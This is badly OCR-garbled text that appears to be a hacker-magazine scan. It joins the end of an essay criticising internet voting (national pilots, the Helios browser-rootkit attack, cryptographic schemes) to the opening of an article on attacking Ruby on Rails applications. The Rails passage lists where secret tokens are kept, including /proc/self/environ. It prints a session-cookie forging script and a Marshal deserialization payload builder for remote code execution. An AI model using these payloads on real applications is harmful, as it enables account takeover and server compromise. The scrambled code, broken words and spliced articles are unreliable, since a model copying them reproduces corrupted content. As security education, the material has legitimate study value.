1 commit fraud in such an obvious 


all traces of their activities. 


Austria. In 2009, 


y likely to happen and then hide 


Austria used internet voting for the Federation of 


Students’ student union election according to the U.S. Election Assistance 
Commission (EAC) [48]. Although Austria does not allow for the use of 
internet voting in parliamentary elections, student union elections in 
Austra are regulated by law, and were allowed to use internet voting. 


Scytl, a European company, 


was selected as the software provider for the 


election. For the election Austria used a national ID card, which had two 
numbers that a voter had to use during the voting process. 
They also needed a card reader for the national ID card. 


distinct PIN 


Finland. Per 


the same EAC report, Finland allowed internet voting for 


municipal elections in 2008 [48]. In Finland, kiosks at polling places 


were used to 


access the internet voting application, rather than allowing 
users to vote at home. Votes wer nerypted and digitally signed by the 
kiosk before transmission to the server. This election wound up having a 
bug causing certain votes not to be counted, and thus had to be redone 


anywhere wher 
pilot. As a note, 


internet voting was used. As a result, they scrubbed the 


the Finnish chose to use kiosks at the polling place 


because they felt voting at home risked ballot secrecy and allowed the 
bribery and intimidation of voters. 


France. The EAC discussed internet voting being used in France dating back 
In 2001, Voisins-le-Bretonneux conducted an internet 
voting pilot that used kiosks at the polling place like the Finnish did. 


to 2001 [49]. 


This was for 


municipal elections only. 


In 2009 the French Ministry of 


Foreign Affairs setup internet voting for French citizens living overseas. 
It was designed to make it easier for overseas voters to vote, and 310,000 


French citizens used it. 
Origin. The report says Opida, 


Scytl provided the technology along with Atos 
a security consulting company, audited the 
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election. Strangely I cannot find the existence of a company called Opida, 
however there is a security consulting firm called Oppida located in 
France so I assume this is the company in question [49]. 


Switzerland. In Switzerland, three of the 26 Swiss cantons have internet 
voting as an option: Geneva, Neuchatel, and Zurich [49]. Since the three 
all use different systems, I want to focus on Geneva’s system. Geneva’s 
government owns and runs the system itself. Voters received a Voter 

Card in the mail, which had the information needed to vote by internet, 
mail, or in person. The voter used the information from this card to login 
to the online voting system. They then selected choices on a ballot, and 
saw a confirmation screen displaying all of their choices before casting 
the ballot. Lastly, the voter needed to use a pin code located on the 
Voter Card to cast the ballot. 


Interestingly the Geneva state council enforced the following 11 
requirements for the election (taken verbatim from [49]): 


1) Votes cannot be intercepted nor modified 

2) Votes cannot be known before the ballot reading 

3) Only registered voters will be able to vote 

4) Each voter will have one and only one vote 

5) Vote secrecy is guaranteed 

6) The voting application will resist any DoS attack 

7) Voters will be protected against identity theft 

8) Number of cast votes = number of received ballots 

9) It will be possible to prove that citizen X voted 

10) The system will not accept votes outside the ballot opening 
period 

11) The system will be auditable 


I find these requirements curious, as in theory it’s not possible to meet 
them in a computerized system. The issue is the use of terminology such 
as "cannot" and "prove." For example, I assume where it says "votes 
cannot be intercepted nor modified," SSL is used to encrypt the web 
traffic. But of course SSL can be attacked, and thus votes can be 
intercepted or modified. 


The Swiss do use one really cool piece of technology in their voting 
technology: quantum encryption [24][54]. The details of quantum encryption 
are outside the scope of this article, but it uses photons of light to 
send encrypted messages. It is based on the fact that the quantum state 

of a particle cannot be observed without altering it permanently, so 
eavesdroppers cannot read the photons without destroying the information 
encoded in them. The Swiss use the quantum encryption technology to 
transfer vote counts over fiber optic cable from a vote counting station 
in the city, to a government data center in the suburbs of Geneva. 


United Kingdom. According to the EAC report [48], the UK has conducted 
over thirty internet voting pilots for local elections between 2002 and 
2007. In a 2002 pilot, nine locations enabled internet voting pilots. The 
Liverpool pilot was particularly interesting in that voters could vote 
via SMS, as well as from their home computers. Liverpool’s was run by 
Election.com, the same company that ran Arizona’s Democratic Primary in 
2000. 


In Liverpool, electors were mailed an information sheet with PINs, 
passwords, candidate codes, the web address and instructions. Voters using 
the internet voting went to the web-site and entered the PIN and password 
specified in their information sheet. The voters then made their 
selections and voted after confirming their choices. The vote was then 
transmitted over the internet to Election.com’s servers, where it was 
tallied. 


Voters using SMS to vote sent a text message that was formatted as such: 
<PIN> 
<PASSWORD> 
<CANDIDATE NUMBER> 
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They then sent the message to a phone number specified in their 
information sheet. Apparently each ward used a different phone number. 

The voter then receives a confirmation text message, and the vote was 
then sent to the same Election.com server as the internet votes. I have a 
lot of concerns about voting via SMS. I am not very knowledgeable with 
SMS protocols, but the information I have read indicates SMS messages are 
encrypted with the broken A5 cypher and only between the phone and the 
cell tower [50]. Furthermore, I know from firsthand experience how many 
times I’ve tried to send a text and it doesn’t show up until hours or 
days later. Not a system I want casting my vote. 


In Liverpool, for the 2002 pilot, the EAC reported that 59.4% of voters 
voted in person, or by mail, 16.4% voted by internet, 17.4% by telephone, 
and 6.7% by text message. 


State of New South Wales. Can’t forget the Aussies out there! The last 
example I will pull from the EAC report [48] is the State of New South 
Wales which allowed voting from home by internet and telephone in their 
2011 state election. They called the system iVote. It was designed for 
voters with disabilities (including legal blindness), illiterate voters, 
and voters traveling or living 20km or more from their polling place. 
Everyone Counts [51] was responsible for the core technology behind the 
voting system. Voters registered to use the iVote system over the internet 
or by calling an iVote operator. When they registered, voters specified a 
Six digit PIN. The voter then received an eight digit iVote number (which 
was sent by email, mail, telephone, or text). In that trial, 2,259 voters 
voted by phone and 44,605 voters voted by internet. 


The government of New South Wales produced a post election report on the 
election [52]. They commissioned Pricewaterhouse Coopers (PwC), one of the 
"big four" accounting firms, to generate the report. The report at [52] 
claims they found that no tampering had occurred with the ballots. However 
they say only that this information was gleaned from "cryptographic 
integrity checks," which is not specific enough for me to draw any 
conclusions. Consider the Helios example, presented later in the paper, as 
proof that ensuring that nothing was tampered with on the server side as 
little evidence that the election was not rigged. 


In the report they note that they tested the iVote system and made sure 
the test results recorded matched the test votes cast for internet and 
phone voting. However, a team of researchers at Princeton University wrote 
malware for a Diebold Accuvote-TS machine which disabled itself during 
test mode, and then completely wiped itself after the election leaving no 
traces [53]. The same type of attack could work against an online voting 
system such as iVote, although of course there is no evidence is has been 
done... yet. 


The PwC report also contains a list of incidents in Appenix C [52]. The 
problems ranged from relatively harmless (voters were sent the wrong iVote 
numbers and then given the correct iVote numbers and asked to vote again) 
to grave. On March 23, 2011 there was an 8 minute outage of the iVote 
system between 10:24 AM and 10:33 AM for which no cause was ever 
identified. Not every outage in a system is a sign of foul play but ina 
system which runs a state’s election, I would like better answers than 
"undetermined cause." 


--[ 5 - Other Problems of Being On the Internet 


Cyber warfare has become big business. For example, on March 20, 2013, 
South Korean TV networks and banks were crippled in a cyber attack that 
was ultimately blamed on North Korea [11]. The U.S. government seems 
paranoid about cyberattacks originating in Iran and China [29]. While it 
is difficult to know how much truth there is to individual claims about 
who is attacking whom, I think we can all agree that there are certainly 
aggressive attacks occurring between countries. If a national election 
was being conducted by internet voting, a foreign country would have a 
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high degree of incentive and desire to disrupt or control the election. 


Another speculative but real threat would be a phishing and/or 
misinformation attack. For example, in 2012, in Madison, Wisconsin, a U.S. 
city, the Republican party sent a mailing to heavily democratic areas 
giving them incorrect registration instructions [30]. It’s not clear if 
this was deliberate or an honest mistake, but it is suspicious, and you 
could imagine sending e-mails to people that would cause them to go to the 
wrong web-site to vote. It could be an identical look alike to the real 
election web-site and either throw their vote way, or even steal their 
credentials and use them at the real voting web-site. This is speculative 
and it’s doubtful an entire election could be rigged this way, but such 
tricks could deprive a certain percentage of voters of their voting 
rights, and could even tip the balance in an extremely tight race. 


It would also be possible to harvest credentials in the weeks before an 
election by sending e-mails instructing voters to "enter their credentials 
to verify their online voting account." Those credentials could then be 
used to vote on election day. Like the misinformation attack, this would 
have limited impact but could still affect a tight election and cause 
confusion amongst the general population. 


Another attack that has been used in real life against voting systems is 
the browser rootkit attack, whereby one secretly installs a browser 
extension that modifies the behavior of webpages. The Helios voting 
system [32] is an open source internet voting system that is designed to 
allow users to vote a secret ballot but still verify that the ballot was 
received and tallied correctly (source code available at [33]). In other 
words, it is a mathematically and cryptographically correct model of 
internet voting. Helios uses client side JavaScript extensively, to store 
the ballot itself and the Exponential ElGamal encryption used [34] is 
implemented in JavaScript. For some of the computationally intensive 
crypto procedures are implemented in Java, requiring the JVM to be 
as 
b 


nstalled on the web browser. JavaScript and JVM... can one ask fora 
etter attack vector? :> 


In the Helios system, candidates are allowed to provide a PDF file 
(another fantastic attack vector) that explains their candidacy for 
voters to view. So the scheme is probably clear at this point: exploit a 
P 

( 


DF vulnerability to install a malicious browser rootkit as an extension 
they picked Firefox but claim IE would have been just as easy to 
attack), which is actually injected into an already installed extension 
so the user does not notice a new extension being installed. The browser 
rootkit spies on the user’s web traffic, and swings into action whenever 
the user visits the voting web-site. At that point it has full control 
over what the clients does and sees on their end of the voting system. 


Researchers Saghar Estehghari and Yvo Desmedt implemented this attack 
against Helios. Their complete report is available at [31]. 


In their case they have Alice running against Bart Preneel, and they want 
Alice to win, so she uploads the rootkitted PDF. In this attack, only a 

candidate or admin could carry it out because voters cannot upload their 
own PDFs to the server. 


With the rootkit installed, when a voter votes for Bart, they change the 
vote to Alice. But they modify the confirmation page and plaintext views 
of the ballot to show that Bart was voted for, fooling the voter. The last 
issue is if the voter decides to verify the ballot, the system will show 
the "Encryption doesn’t match" message as the result. They fixed this by 
changing the verification function to always output "Encryption is 
verified," under all circumstances. 


This attack could have been distributed through any means and attacked any 
system. The point is that as long as every home computer is a potential 
voting kiosk, it’s not a problem if the election server proves too 
difficult to compromise. By hacking the users browser to change votes 
behind the scenes, th lection can still be manipulated silently. Even a 
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properly designed voting system can be compromised because the voting 
kiosk is not secure. 


There exists another problem with the fact that every home computer is now 
potentially a voting kiosk. Vote rigging through bribes or intimidation 
will once again rise in popularity. This is currently hard to do because 
people vote with a secret ballot, in a private booth. No thug can pay them 
a bribe knowing that they actually voted for them, nor beat them knowing 
that they voted for the wrong person (except for the "voter assistance" 
ploy described earlier). With internet voting, you might simply watch 
them vote, or host a "community voting event" at your house, to shake 
everyone down. 


As a reminder, why focus our scrutiny solely on the potential for outsider 
attacks? As I quoted Boss Tweed earlier, as long as those in power 

control the insiders counting the votes, they can seldom be stopped. Most 
of us know the famous example from the movie "Office Space," where th 
company’s software is programmed to siphon tiny fractions of every 
transaction into a bank account and it then goes horribly wrong. But it 
would not be hard at all for some of the programmers of the voting 
software to sneak in some code to alter the election (consider the 

Estonia incident where the project manager could push changes to the 
server at will). 


[ 6 End-to-End Verifiable Internet Voting Schemes 


A cryptographically verifiable voting scheme, Helios, has already been 
mentioned in this paper. These schemes try to compensate for the problems 
that come with voting over a network composed of untrusted and often 
compromised components. However, it was demonstrated that a browser 
rootkit successfully undermines the voting scheme. There are other 
systems which go a step farther by using specialized printers to produce 
physical, cryptographically signed, receipts. These schemes are closer 
to a DRE machine, since they require the voters to go to a voting 
location with specialized equipment, but I want to address the schemes 
because they could presumably be networked to the internet to facilitate 
in vote aggregation and counting, and because they use internet bulletin 
boards to post the proof that the ballots were correctly counted. 


One of the best known of these schemes is David Chaum’s "Secret Ballot 
Receipts: True Voter-Verifiable Elections" scheme [60]. The detailed 
cryptography of the scheme is outside of the scope of this paper, but 
interested readers should read both Chaum’s paper [60], anda 
vulnerability analysis of the scheme conducted by Chris Karlof et al. 
[61], which identifies key flaws. 


In Chaum’s scheme, voters receive a physical receipt of their ballot, 
which consists of two separately laminated layers. Put together, the 
layers make up a human readable image of the ballot. But each individual 
half, alone, appears to be nothing but random black and white pixels. 
After the machine prints the receipt, the voter tells the machine which 
half they will keep as their proof (this must be done after the machine 
has printed the receipt), and shreds the other half at the polling 
location. Later, cryptographic material embedded in the layer can be used 
by election trustees to tabulate the ballot, and voters can verify that 
their vote was counted correctly by locating their receipt on the public 
bulletin board. 


I am not aware of any proofs that the cryptographic scheme used by Chaum 
is flawed, however as Karlof et al. point out, these voting schemes are 
implemented on systems with a very wide scope, and there are many 
opportunities for flaws in the systems themselves, as well as human 
error. The social engineering attacks they present are interesting. 
Ordinary citizens do not understand cryptography to enough depth to 
generally notice even a very minor alteration in the cryptographic 
protocol. For example, if the machine asks the voter which portion of the 
receipt the voter wishes to retain (top or 
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bottom), before printing the signed receipt, the machine can construct 
the two receipts to decrypt to an arbitrary ballot of the attacker’s 
choosing (see [61] for an explanation of why that is). 


This is exactly my problem with such schemes. As I explain in the 
conclusion, one of the central tenants of democratic elections is that 
ordinary citizens see and understand the voting process, and have faith 
in the results. Ordinary citizens, including myself, do not understand 
these schemes to the appropriate depth to monitor the election and have 
if 
t 
p 


aith and understanding in the process. Worse yet, no matter how sound 

he math behind the crypto is, the implementation of the crypto 

rimitives must be absolutely correct. A nation state could easily detect 
and take advantage of the most subtle statistical flaws in the 
pseudorandom number generation, for example (that is if they had not 
already backdoored the key generating hardware used in the election). 


Ordinary citizens can watch voters put their ballots into boxes and then 
later watch the ballots be removed and counted. Ordinary citizens can see 
someone take all the ballot boxes into a secret backroom and later emerge 
with them. Ordinary citizens, including myself, cannot look at a 
cryptographically signed receipt and say, "Ah, the random number 
generation is flawed!". Thus a complicated cryptographic scheme, not well 
understood by the general population, is not the way to have trust in 
democratic elections. 


--[ 7 - Push Back 


Despite the number of countries adopting internet voting pilots, there has 
also been backlash against electronic voting in general in certain 
countries. 


In 2007 the Dutch banned the use of their Nedap voting machines [58], 
citing the lack of a paper trail. In addition in 2009 Ireland abandoned 
their e-voting initiative citing high cost as well as a lack of trust in 
the computers’ ability to securely tabulate an election [57]. 


I find Germany’s 2009 ban of electronic voting machines the most 
interesting however, as many of the German Federal Constitutional Court’s 
findings coincide with my criticisms of internet voting (note: Germany 
banned *electronic* voting machines, not internet voting, but it is still 
related). 


The German court found that the machines were unconstitutional because the 
average citizen could not be expected to understand what the machine was 
doing when it tabulated the results (it’s a "black box"). In addition, 
they considered that in a traditional voting system manipulations and 
fraud are far more difficult to execute and carry a significant chance of 
detection. However, a bug or deliberate fraud inserted into voting 
software would be easy to place and difficult to detect [59]. 


--[ 8 —- But We Use The Internet for [Foo] 


One of the common fallacies to support internet voting is that if the 
internet is used for other important activities, such as banking and 
commerce, why can’t it be trusted for voting? The two main answers are 
that online banking is not secret, and that banking fraud can be papered 
over with money. 


Suppose I go online and send $1,000 to my landlord for rent. The landlord 
will see that I sent $1,000, I will see that my account had $1,000 
deducted, and the bank will have records of these transactions. I can call 
the landlord and confirm that he received the money. If he lied and 
claimed he didn’t, the bank would still have records of it and so I could 
prove that he was paid. If somehow the transaction went badly and the 
landlord was paid $2,000, I would see this on my statement and could 
demand the money back because my lease dictates the landlord is owed only 
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$1,000. But with voting, because ballots are secret, this type of 
verification would never work. I know I sent a ballot, but I do not know 
that it was counted towards whomever I wanted to vote for. I don’t even 
know that it was counted at all. If this was the landlord example, I 
would see that a mystery amount was deducted from my account, have no 
idea what my current balance is, and have no way of knowing that landlord 
received the money, with neither him nor the bank having records of it. 


The other issue is the notion of papering over fraud. When a business 
evaluates a piece of technology, the basic question is if the amount of 
money saved using the technology outweighs whatever the technology will 
cost. The increase in fraud caused by online banking is definitely a cost 
of online banking, but it saves banks and consumers so much time and 
money, that it makes sense to paper over the problem. That is, when money 
is stolen from people’s accounts, the banks are willing to just put the 
money back in and take the loss, because they still save money. But this 
does not work with voting. You cannot paper over a stolen election -- the 
election is rigged and the entire country’s confidence is ruined (if 
anybody even notices that there was fraud). 


In e-commerce it is not uncommon at all to allow a spouse or child to use 
your credentials to make a purchase. However, it is generally illegal to 
allow someone else to vote with your name and ballot. But with internet 
voting it is impossible to know when this is happening. Imagine a Silk 
Road [15] website being setup for the purpose of selling voting 
credentials in exchange for Bitcoins. 


--[{ 9 —- Imagining a More Secure Internet Voting System 


The book, Broken Ballots [2], mentions that in 1875 Henry Spratt of 
England was granted a U.S. patent on a voting machine. The patent, U.S. 
Patent 158,652, claims that it allows "balloting (that is, voting 
secretly) without the aid of balls, tickets, passes, letters, figures, 
official stamps, or ballot-boxes; second, absolute secrecy, it being 
impossible to discover for whom the voter has voted; third, while secrecy 
is obtained, all parties, pro and con, can be satisfied the voter has 
voted; fourth, at the close of the poll the result of the voting can be 
instantly made known; fifth, a complete check as to the numbers voted, 
preventing any tampering with the apparatus." 


This claim is noteworthy because it remains the central tenant that voting 
technology still tries to solve. Of course, we now know that even 140 some 
years later, we have not been able to solve this problem. 


Matt Bishop describes the properties academia would say an e-voting system 
must meet [56], and I’ve listed the ones I find relevant to this article: 


1) The e-voting system must not be able to associate votes with a 

particular voter 

2) The e-voting system must prevent a voter from casting more than a 

particular number of votes in a race, or one vote per ballot 

3) The voter must be able to verify the votes on the ballot at any 

time until the vote is cast 

4) The e-voting system must tally the votes accurately. Votes must not 
be intentionally or accidentally mis-recorded. 

5) It must be possible to conduct an audit on the reported vote tally, 
using an out-of-band mechanism. A recount cannot be conducted by 
recounting votes on the server because a server with a bug will 
produce a bad recount as well. 


I would add a sixth requirement: 


6) Trust. The general population must be able to trust that votes, or 
the count, was not modified at any point in the counting process. 


So the question is, could we design a system to meet all of these 
requirements? As we saw in the Helios example, there are certainly 
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mathematical models that can do it. But our computers are so full of areas 
to exploit, it’s not feasible to do given what we currently know about 
designing secure computer systems and I hope th xamples I have provided 
have convinced you of this fact. 


--[{ 10 - Conclusion 


This article has spent some time discussing internet voting in usage, as 
well as its technical shortcomings. But I would like to end on a brief 
discussion of the sociology behind democracy. I believe the following: 


Internet voting is not compatible with democracy 

No amount of technology can change this 

Whom you voted for ought to be secret 

Who voted should not be secret -- it should be known as widely 
as possible 

5. And who counts the votes, and how, certainly ought not be secret 


mw wN -F 


As I mentioned before, in 1856 a vigilance committee in San Francisco 
first found a ballot box with a false bottom, allowing ballots to be 
hidden in it and then secretly mixed in with the real ballots before 
counting. Ever since people have been trying to counter voter fraud with 
technology [2]. 


Democracy is somewhat miraculous compared to previous forms of government 
in that power is transferred smoothly and without violence, even between 
opposing factions. This is because people accept that whomever receives 
the most votes has a legitimate claim to authority. If people do not 
believe that the votes are legitimate, then they do not believe that the 
ruler has legitimate authority, and thus social chaos could ensue. 


Further complicating the matter is that votes must be secret, or citizens 
can be coerced into voting for certain interests (or willingly bribed). 
Because I cannot look into a database and see that a vote from myself was 
recorded for candidate Bob in some election, I must inherently trust the 
ballot counting process. This means I trust that the organization tallying 
the votes (the government) successfully overcomes outside interests 
wanting to rig the outcome. 


For hundreds of years we have used paper ballots to tally our elections. 
Paper ballots are far from perfect, and indeed we have seen instances of 
fraud on local scales. However, paper ballots do not have a single failure 
point where an entire country’s election could be so efficiently 
compromised, especially in countries not known for having systemic 
corruption. Precinct workers verify who is actually coming to vote and 
mark their name as having voted (in many towns the precinct workers will 
recognize many of the voters). The ballots are then counted by people, in 
front of other people, in each precinct. These results are then 
congregated by district, state, etc. It is a distributed, fault tolerant 
system, which relies on human beings faith in a process run by other 
humans that they can monitor and understand. 


With internet voting, a simple software bug could affect entire precincts, 
regions, or countries and be quite difficult to detect. A maliciously 
inserted bug, designed to manipulate an election, could slip through just 
as easily and have the sam ffects. It is very difficult for humans to 
know exactly what a computer is doing, especially when every computer on 
the internet is a potential voting kiosk. 


Thus internet voting is not a case of technology bringing democracy up to 
date. It is a case of technology undermining confidence in a process that 
must be trusted for elected governments to succeed. I’m one voter who is 
happy to keep casting paper ballots. 
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--[ 0 - Intro 


This little article aims to give an introduction to the topic of attacking 
Ruby on Rails applications. It’s neither complete nor dropping Oday. It’s 
rather the authors attempt to accumulate the interesting attack paths and 
techniques in one write up. As yours truly spend most of his work on Ruby 
on Rails applications in the time when Rails version 3 was current, some of 
the described techniques are not applicable to Rails 4 any more. However 
there is still a broad attack surface of older applications as migrating 
Rails code up one or two version appears to be a real pain in the ass for 
lager projects (if you doubt this ask your local Rails startup peeps :) ). 


--{ 1 - A Brief Overview 


Basically Ruby on Rails [0] is a Model-View-Controller (MVC) based web 
application framework. It’s overloaded with functionality, and this 
functionality is what at the end of the day introduces the fine bugs we 
all are looking for. 


MVC is a software design pattern, which just says roughly the following: 
he model is where the data lives, along with the business logic. So the 


T 
model is an abstraction to the database. The view is what you see, like 
the HTML templates which get rendered. The controller itself is, what you 
bi 

d 


nteract with. It takes requests and decides upon them what to do with the 
ata which were submitted. 


This architecture is reflected in Rails on the file system, a sample 
application’s directory structure would look like this: 
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—- app |here lives the applications main code 
-- assets 
|-- images 
|-- javascripts 
‘-- stylesheets 
—- controllers here live the controllers 
-- helpers 
—- mailers 
-—- models this is where the models live 
‘-— views and finally here are the views 
‘-— layouts 
-—- config yummy config files 
|-- environments 
|-- initializers 
‘-- locales 
-—- db 
-—- doc 
-- lib |more code 
=> assets 
‘-— tasks 
— log 
-—- public |static content 
-—- script 
-- test | es SY 
|-- fixtures 
|-- functional 
|-- integration 
|-- performance 
ves Une 
=>) SCP 
‘-- cache 
‘-- assets 
‘-— vendor 
|-- assets 
| |-- javascripts 
| ‘-- stylesheets 
‘== pLugins |here might be bugs too 


The point of first attention here is the ./app/ directory, this is where 
controllers, models and views live. 


It has to be noted that the MVC design pattern, even tough it’s implied by 
the filesystem layout of a fresh Rails application, is not enforced by Ruby 
on Rails in any way. For instance a developer might just put parts of the 
business logic into the view instead of into the model. 


--[ 1.1 - User input 


The following sub-sections will cover the various kinds of user input a 
Rails application will understand and parse. The most prominent input 
vector for a Rails application is usually the params hash, which is 
described in detail below. 


--[ 1.1.1 - POST/PUT/GET application/x-—www-form-urlencoded 


The params hash (hash is Ruby slang for an associative array) holds the 
request parameters in Rails. So parameters that are POSTed like this: 


username=hackeré&password=happy 


will yield a params hash like the following: 


arams = {"username"=>"hacker", "password"=>"ha my} 
y 
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Lots of magic is involved within Rails’ parameter parsing. POST parameters 
encoded as application/x-www-form-urlencoded or regular GET parameters can 
encode arrays like this: 


user []=Phracké&user []=rulez 
The resulting params hash is in this case: 


params {"user" => ["Phrack","rulez"] } 


Encoding sub-hashes in the params hash is also possible: 


user [name] =hackeréuser [password] =happy 
The above will result in params being the following: 


params = {"user"=>{"name"=>"hacker", "password"=>"happy" } } 


Besides strings with the basic GET/POST parameters it is also possible to 
encode a Ruby nil value in this way: 


user [name] 
by leaving out the = and a value the resulting hash looks like: 


params = {"user"=>{"name"=>nil}} 


--[ 1.1.2 - Multiparameter attributes 


When a single parameter has to carry multiple values in one attribute those 
can be encoded in simple POST and GET requests as well. Those so called 
multiparameters look like the following: 


user [mulitparam(1) ] 


) J=first_valéuser[mulitparam(2) ]=second_valé&[...] 
é&user[mulitparam(n) ]= 


nth_val 

Also valid is a multiparameter assignment with a single parameter like: 
user [name (1) ]=HappyHacker 

Internally the values (1)..(n) will be converted into an array and this 


array will be assigned to the attribute. This is rarely to be seen in real 
world code, however useful for instance when it comes to e.g. timestamps: 


post [date (1) ]=1985é&post [date (2) ]=11l&post [date (3) ]=17 


Where the abov xample would assign year, month and day of the post [date] 
parameter in a multiparameter attribute called dat 


--[ 1.1.3 - POST/PUT text/xml 


Besides the usual POST/PUT parameters Rails typically also understands XML 
input. This however was removed within the Rails 4 release [1]. 


With XML encoded parameters there are various typecasting possibilities. 
Here is an excerpt from the responsible parser 
(rails/activesupport/lib/active_support/xml_mini.rb): 


PARSING = { 


"symbol" => Proc.new { |symbol| symbol.to_sym }, 

"date" => Proc.new { |date| ::Date.parse(date) }, 

"datetime" => Proc.new { |time| ::Time.parse (time) .utc rescue 
::DateTime.parse(time).utc }, 

"integer" => Proc.new { |integer| integer.to_i }, 

"float" => Proc.new { |float| float.to_f }, 

"decimal" => Proc.new { |number| BigDecimal (number) }, 
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"boolean" => Proc.new boolean | 
Sw(l true).include?(boolean.strip) }, 
"string" => Proc.new string| string.to_s }, 
"yvaml" => Proc.new yaml | YAML::load(yaml) rescue yaml }, 
"baseé4Binary" => Proc.new bin 
ActiveSupport::Base64.decode64 (bin) }, 
"binary" => Proc.new bin, entity| 
_parse_binary(bin, entity) 1 
Wf le" => Proc.new file, entity] _parse_file(file, ntity) 


} 


PARSING. update ( 
"double" 
"dateTime 


) 


"W 


=> PARSING["float"], 
=> PARSING["datetime"] 


So if a boolean value should be contained in a POSTed variable within the 


params hash, this XML POSTed with Content-Type: text/xml will achieve it: 

<user> 

<admin type="boolean">true</admin> 

</user> 
The params hash from the above POSTed XML would be: 

params = {"user"=>{"admin"=>true} } 
At this point it has to be noted that the conversions for the types 
"symbol" and "yaml" have been blacklisted since CVE-2013-0156. This CVE is 
actually the most impactful on RoR. Due to YAML being able to create 


arbitrary Ruby objects it was possible to gai 


single POST request, 
Symbols have been removed 


n code execution with just a 


simply due to the fact, that 


they won’t get garbage coll 
memory exhaustion attacks. 


There are two more supported types which are 


are defined in 


rails/activesupport/lib/active_support/core_ext/hash/conversions.rb. 
and "array". 


"hash" 
POSTed lik 


two types are 
It needs to b 


<user> 
<name>hacker</name> 

</user> 

i 


The above XML will result 


lected a runtime, therefor 


not listed above, they rather 
Those 


this: 


n this hash: 


params 


{"user"=>{"name"=>"hacker"} } 


Arrays with typed XML ar 


<a type="array"> 
<a>some value</a> 


assembled together lik 


the following: 


<a>some other value</a> 


</a> 


which will yield: 


params 


{"a"=>["some value","some other value"] } 


Furthermore nil can be encoded this way 


<a nil="true"> 


which results in this params hash: 


{"a"=>nil} 


} 


pretty similar to the sessions issue described in 2.1. 
from the conversion 
being useful for e.g. 


A hash is pretty simple to put up in XML. 
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--[ 1.1.4 - POST/PUT application/json 


JSON input POSTed with the Content-Type of application/json can’t encode as 
many object types as XML, but the following types are defined per the JSON 
specification: 


String 

Object (which will be a hash in Ruby) 
Number 

Array 

True 

False 

Null (which will be nil in Ruby) 


+ + + F + F F 


Before the Rails patches for the CVEs 2013-0333 and 2013-0268 it was 
possible to encode arbitrary Objects in JSON, the details on CVE-2013-0333 
will be discussed in section 3.3. 


With a POST request containing the following JSON payload: 
{"a":["string",1,true, false,null, {"hash":"value"}]} 

a params hash of: 
params = {"a"=>["string", 1, true, false, nil, {"hash"=>"value"}] } 


will be generated. 


--[ 1.1.5 - GET vs. POST/PUT 


By default it’s even possible to send application/json and text/xml typed 
parameters within a GET request, by simply issuing a GET request with an 
according Content-Type, a proper Content-Length as well as the actual 
request body. For instance: 


curl -X GET http://somerailsapp/ -H "Content-type: application/json" \ 
--data Pe Wa Moe Mg el 


Additional magic is buried in the _method parameter when used in a POST 
request. 


For instance the following POST request will be interpreted as PUT: 


curl -X POST http://somerailsapp/?_method=PUT --data ’somedata’ 


So setting _method in a POST request to a legal HTTP verb will let 
Rails interpret the POST as what _method is set to (GET,PUT, etc.). 


--[ 2 - Common pitfalls 


With the knowledge of various ways to encode our mali*W well crafted input 
for a Rails application, let’s have a look at patterns of "what could 
possibly go wrong?". This section will elaborate some of the nasty side 
effects introduced by rather common coding practices in Ruby on Rails. Of 
course it will also be explained how to use those sid ffects in order to 
extend the functionality of an affected application. 


--[ 2.1 - Sessions 


By default Rails stores the sessions client-side within a cookie. The whole 
session hash gets serialized (also encrypted in Rails 4) and HMACed (in 
Rails 3 and 4) in order to be tamper-resistant. 
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Since Rails 4.1 the format for serialization used is JSON encoding. Before 
that version it used to be Ruby’s own serialization format called Marshal. 
Marshaled ruby objects look like this: 


irb(main):001:0> foo = ["Some funky string", {"a hash"=>1337}] 
=> ["Some funky string", {"a hash"=>1337}] 

irb(main) :002:0> Marshal.dump foo 

=> "\x04\b[\aI\"\xl6Some funky string\x06:\x06ET{\x06I\"\va 
hash\x06; \x00Ti\x029\x05" 


It’s basically a TLV serialization format, which can encode almost 
arbitrary Ruby Objects. The secret key to the HMAC/encryption might be 
stored in various locations depending on the Rails version it might be 
found in the following files: 


config/environment.rb 

config/initializers/secret_token.rb 

config/secrets.yml 

/proc/self/environ (if it’s just given via an ENV variable) 


Ae a OR 


In rare cases it might be found somewhere completely different. But the 
best place to look for Rails cookie secrets is Open Source code checked 
into public repositories. 


Once revealed to a curious hacker the cookie signing/encryption secret 
offers a broad amount of fun to have with it. 


First of all session tampering is possible, as we are able to sign/encrypt 
arbitrary session data. Typically (when no special authentication GEMs are 
used) the user_id of the currently logged in user is serialized into the 
session. So it’s pretty much a piece of cake to serialize the user_id of 
any other user into the cookie using the following simple script: 


!/usr/bin/env ruby 

Sign a cookie in RoR style (Rails Version <=3.x only) 
require ‘base64’ 

require ‘openssl’ 

require ‘’optparse’ 


banner = "Usage: #{$0} -k KEY [-c COOKIE]\n" + 
"Cookie is a raw ruby expression like ’{:user_id => 1}’" 


hashtype = ’SHA1’ 


key = nil 
cookie = {"user_id"=>1} 
opts = OptionParser.new do |opts| 
opts.banner = banner 
opts.on("-k", "--key KEY") do [hl 
key =h 
end 
opts.on("-c", "--cookie COOKIE") do |w| 
cookie = w 
end 
end 
begin 


opts.parse! (ARGV) 
rescue Exception => e 
puts e, "", opts 
exit 
end 


if key.nil? 
puts banner 
exit 

end 


12.txt Wed Apr 26 09:43:48 2017 7 


cook = Base64.strict_encode6é4 (Marshal.dump (eval ("#{cookie}"))).chomp 


digest = OpenSSL: :HMAC.hexdigest (OpenSSL: :Digest::Digest.new(hashtype), 
key, cook) 


puts ("#{cook}—--#{digest}") 


The secret_token is not only usable for session tampering, it can even be 
used for remote command execution. The following Ruby method will generate 
a code-executing session cookie (this is Rails 3 specific payload, but 

the same principle works with Rails 4 with slight modifications): 


def build_cookie 


code = "eval(’whatever ruby code’)" 
marshal_payload = Rex::Text.encode_base64 ( 
"\x04\x08" + 
W fo) W si 
":\x40ActiveSupport: :Deprecation: :DeprecatedInstanceVariableProxy" + 
WAX O7 
":\x0E@instance" + 
"ov + ":\xO8ERB" + "\x06" + 
":\x09@srce" + 
Marshal.dump (code) [2..-1] + 
":\x0C@method" + ":\x0Bresult" 
) .chomp 


digest = OpenSSL: :HMAC.hexdigest (OpenSSL: :Digest::Digest.new("SHA1"), 
SECRET_TOKEN, marshal_payload) 

marshal_payload = Rex::Text.uri_encode (marshal_payload) 
"#{marshal_payload}--#{digest}" 


end 


For details on the Rails 4 version and more convenient use of the vector 
the exploits/multi/http/rails_secret_deserialization module in Metasploit 
is recommend reading/using. 


The above code serializes an object in Rubys’ Marshal format and then HMACs 
the serialized data. The object that is serialized is an instance of 
